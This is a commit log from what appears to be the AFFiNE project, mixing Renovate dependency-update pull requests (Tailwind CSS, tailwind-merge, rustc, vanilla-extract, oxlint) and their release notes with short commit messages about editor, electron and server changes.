### [`v4.0.3`](https://redirect.github.com/tailwindlabs/tailwindcss/blob/HEAD/CHANGELOG.md#403---2025-02-01)

[Compare Source](https://redirect.github.com/tailwindlabs/tailwindcss/compare/v4.0.2...v4.0.3)

##### Fixed

-   Fix incorrect removal of `@import url();` ([#&#8203;16144](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16144))

### [`v4.0.2`](https://redirect.github.com/tailwindlabs/tailwindcss/blob/HEAD/CHANGELOG.md#402---2025-01-31)

[Compare Source](https://redirect.github.com/tailwindlabs/tailwindcss/compare/v4.0.1...v4.0.2)

##### Fixed

-   Only generate positive `grid-cols-*` and `grid-rows-*` utilities ([#&#8203;16020](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16020))
-   Ensure escaped theme variables are handled correctly ([#&#8203;16064](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16064))
-   Ensure we process Tailwind CSS features when only using `@reference` or `@variant` ([#&#8203;16057](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16057))
-   Refactor gradient implementation to work around [prettier/prettier#17058](https://redirect.github.com/prettier/prettier/issues/17058) ([#&#8203;16072](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16072))
-   Vite: Ensure hot-reloading works with SolidStart setups ([#&#8203;16052](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16052))
-   Vite: Fix a crash when starting the development server in SolidStart setups ([#&#8203;16052](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16052))
-   Vite: Don't rebase URLs that appear to be aliases ([#&#8203;16078](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16078))
-   Vite: Transform `<style>` blocks in HTML files ([#&#8203;16069](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16069))
-   Prevent camel-casing CSS custom properties added by JavaScript plugins ([#&#8203;16103](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16103))
-   Do not emit `@keyframes` in `@theme reference` ([#&#8203;16120](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16120))
-   Discard invalid declarations when parsing CSS ([#&#8203;16093](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16093))
-   Do not emit empty CSS rules and at-rules ([#&#8203;16121](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16121))
-   Handle `@variant` when at the top-level of a stylesheet ([#&#8203;16129](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16129))

### [`v4.0.1`](https://redirect.github.com/tailwindlabs/tailwindcss/blob/HEAD/CHANGELOG.md#401---2025-01-29)

[Compare Source](https://redirect.github.com/tailwindlabs/tailwindcss/compare/v4.0.0...v4.0.1)

##### Added

-   Include `:open` pseudo-class in existing `open` variant ([#&#8203;15349](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15349))

##### Fixed

-   Remove invalid `min-w/h-none` utilities ([#&#8203;15845](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15845))
-   Discard CSS variable shorthand utilities that don't use valid CSS variables ([#&#8203;15738](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15738))
-   Ensure font-size utilities with `none` modifier have a line-height set e.g. `text-sm/none` ([#&#8203;15921](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15921))
-   Ensure font-size utilities with unknown modifier don't generate CSS ([#&#8203;15921](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15921))
-   Don’t suggest font weight utilities more than once ([#&#8203;15857](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15857))
-   Suggest container query variants ([#&#8203;15857](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15857))
-   Disable bare value suggestions when not using the `--spacing` variable ([#&#8203;15857](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15857))
-   Ensure suggested classes are properly sorted ([#&#8203;15857](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15857))
-   Don’t look at .gitignore files outside initialized repos ([#&#8203;15941](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15941))
-   Find utilities when using the Svelte class shorthand syntax across multiple lines ([#&#8203;15974](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15974))
-   Find utilities when using the Angular class shorthand syntax ([#&#8203;15974](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15974))
-   Find utilities when using functions inside arrays ([#&#8203;15974](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15974))
-   Ensure that `@tailwindcss/browser` does not pollute the global namespace ([#&#8203;15978](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15978))
-   Ensure that `tailwind-merge` is not scanned when using the Vite plugin ([#&#8203;16005](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16005))
-   Ensure CSS theme variables are available within shadow roots ([#&#8203;15975](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15975))
-   Fix crash when project lives in the `/` directory ([#&#8203;15988](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15988))
-   Ensure custom variants have a non-empty selector list ([#&#8203;16009](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16009))
-   *Upgrade*: Ensure JavaScript config files on different drives are correctly migrated ([#&#8203;15927](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15927))
-   *Upgrade*: Migrate `leading-[1]` to `leading-none` ([#&#8203;16004](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16004))
-   *Upgrade*: Do not migrate arbitrary leading utilities to bare values ([#&#8203;16004](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16004))

### [`v4.0.0`](https://redirect.github.com/tailwindlabs/tailwindcss/blob/HEAD/CHANGELOG.md#400---2025-01-21)

[Compare Source](https://redirect.github.com/tailwindlabs/tailwindcss/compare/v3.4.17...v4.0.0)

##### Added

-   [New high-performance engine](https://tailwindcss.com/blog/tailwindcss-v4#new-high-performance-engine) — where full builds are up to 5x faster, and incremental builds are over 100x faster — and measured in microseconds.
-   [Designed for the modern web](https://tailwindcss.com/blog/tailwindcss-v4#designed-for-the-modern-web) — built on cutting-edge CSS features like cascade layers, registered custom properties with `@property`, and `color-mix()`.
-   [Simplified installation](https://tailwindcss.com/blog/tailwindcss-v4#simplified-installation) — fewer dependencies, zero configuration, and just a single line of code in your CSS file.
-   [First-party Vite plugin](https://tailwindcss.com/blog/tailwindcss-v4#first-party-vite-plugin) — tight integration for maximum performance and minimum configuration.
-   [Automatic content detection](https://tailwindcss.com/blog/tailwindcss-v4#automatic-content-detection) — all of your template files are discovered automatically, with no configuration required.
-   [Built-in import support](https://tailwindcss.com/blog/tailwindcss-v4#built-in-import-support) — no additional tooling necessary to bundle multiple CSS files.
-   [CSS-first configuration](https://tailwindcss.com/blog/tailwindcss-v4#css-first-configuration) — a reimagined developer experience where you customize and extend the framework directly in CSS instead of a JavaScript configuration file.
-   [CSS theme variables](https://tailwindcss.com/blog/tailwindcss-v4#css-theme-variables) — all of your design tokens exposed as native CSS variables so you can access them anywhere.
-   [Dynamic utility values and variants](https://tailwindcss.com/blog/tailwindcss-v4#dynamic-utility-values-and-variants) — stop guessing what values exist in your spacing scale, or extending your configuration for things like basic data attributes.
-   [Modernized P3 color palette](https://tailwindcss.com/blog/tailwindcss-v4#modernized-p3-color-palette) — a redesigned, more vivid color palette that takes full advantage of modern display technology.
-   [Container queries](https://tailwindcss.com/blog/tailwindcss-v4#container-queries) — first-class APIs for styling elements based on their container size, no plugins required.
-   [New 3D transform utilities](https://tailwindcss.com/blog/tailwindcss-v4#new-3d-transform-utilities) — transform elements in 3D space directly in your HTML.
-   [Expanded gradient APIs](https://tailwindcss.com/blog/tailwindcss-v4#expanded-gradient-apis) — radial and conic gradients, interpolation modes, and more.
-   [@&#8203;starting-style support](https://tailwindcss.com/blog/tailwindcss-v4#starting-style-support) — a new variant you can use to create enter and exit transitions, without the need for JavaScript.
-   [not-\* variant](https://tailwindcss.com/blog/tailwindcss-v4#not-variant) — style an element only when it doesn't match another variant, custom selector, or media or feature query.
-   [Even more new utilities and variants](https://tailwindcss.com/blog/tailwindcss-v4#even-more-new-utilities-and-variants) — including support for `color-scheme`, `field-sizing`, complex shadows, `inert`, and more.

Start using Tailwind CSS v4.0 today by [installing it in a new project](https://tailwindcss.com/docs/installation/), or playing with it directly in the browser on [Tailwind Play](https://play.tailwindcss.com/).

For existing projects, we've published a comprehensive [upgrade guide](https://tailwindcss.com/docs/upgrade-guide) and built an [automated upgrade tool](https://tailwindcss.com/docs/upgrade-guide#using-the-upgrade-tool) to get you on the latest version as quickly and painlessly as possible.

For a deep-dive into everything that's new, [check out the announcement post](https://tailwindcss.com/blog/tailwindcss-v4).

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-02 07:43:18 +00:00
renovate
63a427148f chore: bump up tailwind-merge version to v3 (#9917)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [tailwind-merge](https://redirect.github.com/dcastil/tailwind-merge) | [`^2.5.5` -> `^3.0.0`](https://renovatebot.com/diffs/npm/tailwind-merge/2.6.0/3.0.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tailwind-merge/3.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tailwind-merge/3.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tailwind-merge/2.6.0/3.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tailwind-merge/2.6.0/3.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>dcastil/tailwind-merge (tailwind-merge)</summary>

### [`v3.0.1`](7378c16adc...493fa8c110)

[Compare Source](https://redirect.github.com/dcastil/tailwind-merge/compare/v3.0.0...v3.0.1)

### [`v3.0.0`](https://redirect.github.com/dcastil/tailwind-merge/compare/v2.6.0...7378c16adcc261599fa2debe8c18d77071c946f4)

[Compare Source](https://redirect.github.com/dcastil/tailwind-merge/compare/v2.6.0...v3.0.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-01 14:51:48 +00:00
renovate
2b54ebd0be chore: bump up rustc version to v1.84.1 (#9920)
This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
| [rustc](https://redirect.github.com/rust-lang/rust) | patch | `1.84.0` -> `1.84.1` |

---

### Release Notes

<details>
<summary>rust-lang/rust (rustc)</summary>

### [`v1.84.1`](https://redirect.github.com/rust-lang/rust/blob/HEAD/RELEASES.md#Version-1841-2025-01-30)

[Compare Source](https://redirect.github.com/rust-lang/rust/compare/1.84.0...1.84.1)

\==========================

<a id="1.84.1"></a>

-   [Fix ICE 132920 in duplicate-crate diagnostics.](https://redirect.github.com/rust-lang/rust/pull/133304/)
-   [Fix errors for overlapping impls in incremental rebuilds.](https://redirect.github.com/rust-lang/rust/pull/133828/)
-   [Fix slow compilation related to the next-generation trait solver.](https://redirect.github.com/rust-lang/rust/pull/135618/)
-   [Fix debuginfo when LLVM's location discriminator value limit is exceeded.](https://redirect.github.com/rust-lang/rust/pull/135643/)
-   Fixes for building Rust from source:
    -   [Only try to distribute `llvm-objcopy` if llvm tools are enabled.](https://redirect.github.com/rust-lang/rust/pull/134240/)
    -   [Add Profile Override for Non-Git Sources.](https://redirect.github.com/rust-lang/rust/pull/135433/)
    -   [Resolve symlinks of LLVM tool binaries before copying them.](https://redirect.github.com/rust-lang/rust/pull/135585/)
    -   [Make it possible to use ci-rustc on tarball sources.](https://redirect.github.com/rust-lang/rust/pull/135722/)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-01 14:33:47 +00:00
renovate
f73b07da66 chore: bump up @vanilla-extract/vite-plugin version to v5 (#9915)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@vanilla-extract/vite-plugin](https://redirect.github.com/vanilla-extract-css/vanilla-extract) ([source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/tree/HEAD/packages/vite-plugin)) | [`^4.0.18` -> `^5.0.0`](https://renovatebot.com/diffs/npm/@vanilla-extract%2fvite-plugin/4.0.19/5.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vanilla-extract%2fvite-plugin/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vanilla-extract%2fvite-plugin/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vanilla-extract%2fvite-plugin/4.0.19/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vanilla-extract%2fvite-plugin/4.0.19/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vanilla-extract/vite-plugin](https://redirect.github.com/vanilla-extract-css/vanilla-extract) ([source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/tree/HEAD/packages/vite-plugin)) | [`^4.0.19` -> `^5.0.0`](https://renovatebot.com/diffs/npm/@vanilla-extract%2fvite-plugin/4.0.19/5.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vanilla-extract%2fvite-plugin/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vanilla-extract%2fvite-plugin/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vanilla-extract%2fvite-plugin/4.0.19/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vanilla-extract%2fvite-plugin/4.0.19/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>vanilla-extract-css/vanilla-extract (@&#8203;vanilla-extract/vite-plugin)</summary>

### [`v5.0.0`](https://redirect.github.com/vanilla-extract-css/vanilla-extract/blob/HEAD/packages/vite-plugin/CHANGELOG.md#500)

[Compare Source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/compare/@vanilla-extract/vite-plugin@4.0.20...@vanilla-extract/vite-plugin@5.0.0)

##### Major Changes

-   [#&#8203;1537](https://redirect.github.com/vanilla-extract-css/vanilla-extract/pull/1537) [`7810b7c`](7810b7c8b8) Thanks [@&#8203;askoufis](https://redirect.github.com/askoufis)! - Change the plugin name from `"vanilla-extract"` to the more [conventional][plugin conventions] `"vite-plugin-vanilla-extract"`

    [plugin conventions]: https://vite.dev/guide/api-plugin.html#conventions

-   [#&#8203;1529](https://redirect.github.com/vanilla-extract-css/vanilla-extract/pull/1529) [`d5b6e70`](d5b6e70f44) Thanks [@&#8203;askoufis](https://redirect.github.com/askoufis)! - Update `vite` peer dependency range to `^5.0.0 || ^6.0.0`

    BREAKING CHANGE: Vite 4 is no longer supported. Please upgrade to at least Vite 5.

-   [#&#8203;1537](https://redirect.github.com/vanilla-extract-css/vanilla-extract/pull/1537) [`7810b7c`](7810b7c8b8) Thanks [@&#8203;askoufis](https://redirect.github.com/askoufis)! - BREAKING CHANGE: User-configured vite plugins are no longer forwarded through to the Vanilla Extract compiler by default. This should not affect most consumers.

    Previously, all vite plugins except for a select few incompatible plugins were forwarded through. This resulted in a constant game of whack-a-mole as new plugins were added to the list of incompatible plugins as issues were discovered.

    Framework-specific plugins, as well as plugins that handle assets and build output, tend not to be relevant to Vanilla Extract code, and in some cases cause more harm than good.

    For that reason, in this release only the `vite-tsconfig-paths` plugin is fowarded through by default. This is a relatively common plugin that is know to be compatible with the Vanilla Extract compiler.

    In most cases users should not need to forward any additional plugins through to the Vanilla Extract compiler. However, if such a case arises, a plugin filter function can be provided via the `unstable_pluginFilter` option:

    ```ts
    // vite.config.ts

    import { vanillaExtractPlugin } from '@&#8203;vanilla-extract/vite-plugin';
    import { vitePluginFoo } from 'vite-plugin-foo';

    export default defineConfig({
      plugins: [
        vitePluginFoo(),
        vanillaExtractPlugin({
          // Only forward the `vite-plugin-foo` plugin through to the Vanilla Extract compiler
          unstable_pluginFilter: ({ name, mode }) =>
            plugin.name === 'vite-plugin-foo'
        })
      ]
    });
    ```

    When providing a plugin filter function, the `vite-tsconfig-paths` plugin will no longer be forwarded through by default. If you wish to forward this plugin, you must include it in your filter function.

    **NOTE**: The `unstable_pluginFilter` API is considered unstable and may be changed or removed without notice in a future non-major version.

##### Patch Changes

-   Updated dependencies \[[`d5b6e70`](d5b6e70f44), [`d5b6e70`](d5b6e70f44)]:
    -   [@&#8203;vanilla-extract/compiler](https://redirect.github.com/vanilla-extract/compiler)[@&#8203;0](https://redirect.github.com/0).1.1

### [`v4.0.20`](https://redirect.github.com/vanilla-extract-css/vanilla-extract/blob/HEAD/packages/vite-plugin/CHANGELOG.md#4020)

[Compare Source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/compare/@vanilla-extract/vite-plugin@4.0.19...@vanilla-extract/vite-plugin@4.0.20)

##### Patch Changes

-   [#&#8203;1536](https://redirect.github.com/vanilla-extract-css/vanilla-extract/pull/1536) [`a8248be`](a8248befac) Thanks [@&#8203;askoufis](https://redirect.github.com/askoufis)! - Consume compiler API from new `@vanilla-extract/compiler` package instead of `@vanilla-extract/integration`

-   Updated dependencies \[[`5f66abb`](5f66abbd60), [`a8248be`](a8248befac), [`a8248be`](a8248befac), [`ec0b024`](ec0b024fd1), [`a8248be`](a8248befac)]:
    -   [@&#8203;vanilla-extract/integration](https://redirect.github.com/vanilla-extract/integration)[@&#8203;8](https://redirect.github.com/8).0.0
    -   [@&#8203;vanilla-extract/compiler](https://redirect.github.com/vanilla-extract/compiler)[@&#8203;0](https://redirect.github.com/0).1.0

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMjUuMSIsInVwZGF0ZWRJblZlciI6IjM5LjEyNS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-30 10:40:44 +00:00
Saul-Mirone
f3f6e8c6ac refactor(editor): remove attachment and image block service (#9909) 2025-01-28 20:53:23 +00:00
Saul-Mirone
9c65c42d64 chore(editor): cleanup dead code (#9904) 2025-01-27 17:06:42 +00:00
Saul-Mirone
17bf75e843 refactor(editor): remove dependency of command global types (#9903)
Closes: [BS-2216](https://linear.app/affine-design/issue/BS-2216/remove-global-types-in-command)
2025-01-27 12:28:46 +00:00
pengx17
4b549e0484 fix(electron): optimize find in page in electron (2) (#9901)
1. find in page should have higher z-index than other modals
2. fix focused texts are not automatically being used as the default input value for searching
2025-01-27 07:58:16 +00:00
pengx17
ffbec1633e fix(electron): optimize find in page in electron (#9900)
fix AF-2168
When using find in page (cmd+f) in electron, the popup should not prevent the user from interacting with the main content.
Also fixed some minor ui issues
2025-01-27 07:19:12 +00:00
Oleg
e3fac97b9b fix(web): minor bug fixes (#9696)
Co-authored-by: Mirone <Saul-Mirone@outlook.com>
2025-01-27 14:21:41 +09:00
doouding
73b4437081 chore: dnd cleanup (#9899) 2025-01-27 04:29:14 +00:00
fundon
ffd54c6620 refactor(editor): use selected signal in block component (#9849) 2025-01-27 02:56:10 +00:00
pengx17
a5c8356376 chore(electron): split view tracking events (#9896)
fix AF-2037
2025-01-27 02:40:08 +00:00
Saul-Mirone
d6bfb761fe fix(editor): typecheck for tests and playground (#9897) 2025-01-27 02:00:09 +00:00
renovate
6c8edb160c chore: bump up oxlint version to v0.15.8 (#9886)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint)) | [`0.15.7` -> `0.15.8`](https://renovatebot.com/diffs/npm/oxlint/0.15.7/0.15.8) | [![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/0.15.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/oxlint/0.15.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/oxlint/0.15.7/0.15.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/0.15.7/0.15.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

### [`v0.15.8`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#0158---2025-01-24)

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.15.7...oxlint_v0.15.8)

##### Features

-   [`79ba9b5`](https://redirect.github.com/oxc-project/oxc/commit/79ba9b5) linter: Added support to run in Node.JS legacy versions ([#&#8203;8648](https://redirect.github.com/oxc-project/oxc/issues/8648)) (Luiz Felipe Weber)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMjUuMSIsInVwZGF0ZWRJblZlciI6IjM5LjEyNS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-26 09:00:47 +00:00
forehalo
6370f45928 feat(server): cluster level event system (#9884) 2025-01-25 14:51:03 +00:00
pengx17
0d2c2ea21e fix(core): tag input keyboard control enhancements (#9881)
fix AF-2166
2025-01-25 14:35:49 +00:00
Saul-Mirone
1858947e0c feat(editor): flat block data (#9854)
Flat block data.

A new block type to flatten the block data

```typescript
// For developers
type Model = {
  blocks: Record<string, {
    flavour: string;
    cells: Record<string, {
      rowId: string;
      colId: string;
      text: Text;
    }>;
    cols: Record<string, {
      align: string;
    }>
    rows: Record<string, {
      backgroundColor: string;
    }>
  }>
}

// How it's saved in yjs
const yData = {
  blocks: {
    'blockId1': {
      flavour: 'affine:table',
      'prop:rows:row1:backgroundColor': 'white',
      'prop:cols:col1:align': 'left',
      'prop:cells:cell1:rowId': 'row1',
      'prop:cells:cell1:colId': 'col1',
      'prop:cells:cell1:text': YText,
      prop:children: []
    },
  }
}
```
2025-01-25 12:57:21 +00:00
forehalo
9c5375ca06 chore: generate repo meta 2025-01-25 15:24:00 +08:00
L-Sun
829980bace refactor(editor): toc dragging with std.dnd (#9883)
Close [BS-2458](https://linear.app/affine-design/issue/BS-2458/toc-dnd重构)

### What Changes
- Refactor toc note card dnd with `std.dnd`
- Extract note display mode change to command `changeNoteDisplayMode`
  - It will reorder notes when the display mode changed from `EdgelessOnly` to page mode visible (a.k.a `DocOnly` or `Both`)
2025-01-24 13:27:17 +00:00
L-Sun
351816b343 fix(editor): prevent errors when moving a block to its own position (#9887) 2025-01-24 12:55:55 +00:00
donteatfriedrice
4b553d153a feat(core): update chat error style (#9885)
[BS-2487](https://linear.app/affine-design/issue/BS-2487/报错样式更新)
2025-01-24 12:39:10 +00:00
zzj3720
5a5779c05a feat(editor): simple table block (#9740)
close: BS-2122, BS-2125, BS-2124, BS-2420, PD-2073, BS-2126, BS-2469, BS-2470, BS-2478, BS-2471
2025-01-24 10:07:57 +00:00
L-Sun
3f4311ff1c chore(editor): add RTL experiement flag for editor (#9882) 2025-01-24 08:23:24 +00:00
pengx17
791484a46c fix(core): some style issues (#9875)
fix AF-2158, AF-2159

It seems the input hack for modal is no longer needed
2025-01-24 05:06:59 +00:00
pengx17
699da97879 chore(electron): speed up electron tests (#9871) 2025-01-24 04:52:26 +00:00
pengx17
6a74107010 fix(core): some storage setting enhancements (#9877)
fix AF-2157, AF-2155, AF-2156
1. add shift selection for grid blob card
2. various style issues
3. unused blobs list will also wait for workspace syncing
2025-01-24 04:35:54 +00:00
donteatfriedrice
c0eb735890 fix(core): extract text blocks markdown from doc (#9879)
[AF-2162](https://linear.app/affine-design/issue/AF-2162/ai-提取-markdown-内容不完整)
2025-01-24 04:18:53 +00:00
akumatus
95cf2e047f feat(core): cite source documents in the AI answer (#9863)
Support issue [BS-2424](https://linear.app/affine-design/issue/BS-2424).

### What changed?
- Add relevant document prompt templates.
- Add citation rules in system prompts.
- Change message `params` type to `Record<string, any>`
- Add unit test.

<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/ec24e664-039e-4fab-bd26-b3312f011daf.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/ec24e664-039e-4fab-bd26-b3312f011daf.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/ec24e664-039e-4fab-bd26-b3312f011daf.mov">录屏2025-01-23 10.40.38.mov</video>
2025-01-24 04:04:01 +00:00
pengx17
48c26017ae fix(core): database properties in info flickering issue (#9872)
fix af-2123
2025-01-24 03:46:24 +00:00
L-Sun
79fe687b1a fix(editor): render title in page block header using DocDisplayMetaService (#9878)
https://github.com/user-attachments/assets/24490a58-ef66-404a-b9cd-1e94d84c6f58
2025-01-23 12:51:55 +00:00
doodlewind
872a578bf7 refactor(editor): move zod schema with model for non surface blocks (#9876) 2025-01-23 10:57:49 +00:00
L-Sun
d6cfbec5c9 chore(editor): update notification message of change display mode of doc (#9874) 2025-01-23 10:40:24 +00:00
donteatfriedrice
bdc8dd8d5f feat(editor): add link preview to footnote popup (#9869)
[BS-2399](https://linear.app/affine-design/issue/BS-2399/ai-link-的预览支持:获取-fav-icon-标题)
2025-01-23 09:31:21 +00:00
L-Sun
02bcecde72 refactor(editor): simplify TOC implementation with signal and context (#9873)
### What Changes
1. Used `@preact/signal` and `@lit/context` to simplify repetitive passing of properties of TOC components,
2. Fixed TOC invalid when editor changed, such as click new page button.
2025-01-23 17:01:04 +08:00
L-Sun
1b0758f111 refactor(editor): remove hard code icons from presets (#9857)
Related [BS-2240](https://linear.app/affine-design/issue/BS-2240/清理重复的icon)
2025-01-23 08:34:54 +00:00
forehalo
85434fe309 feat(server): search user in workspace (#9870) 2025-01-23 08:09:17 +00:00
fengmk2
2088b760bf refactor(server): rename tx to db (#9867) 2025-01-23 07:52:45 +00:00
pengx17
6ac6a8d6d6 feat(core): unused blob management in settings (#9795)
fix AF-2144, PD-2064, PD-2065, PD-2066
2025-01-23 07:12:17 +00:00
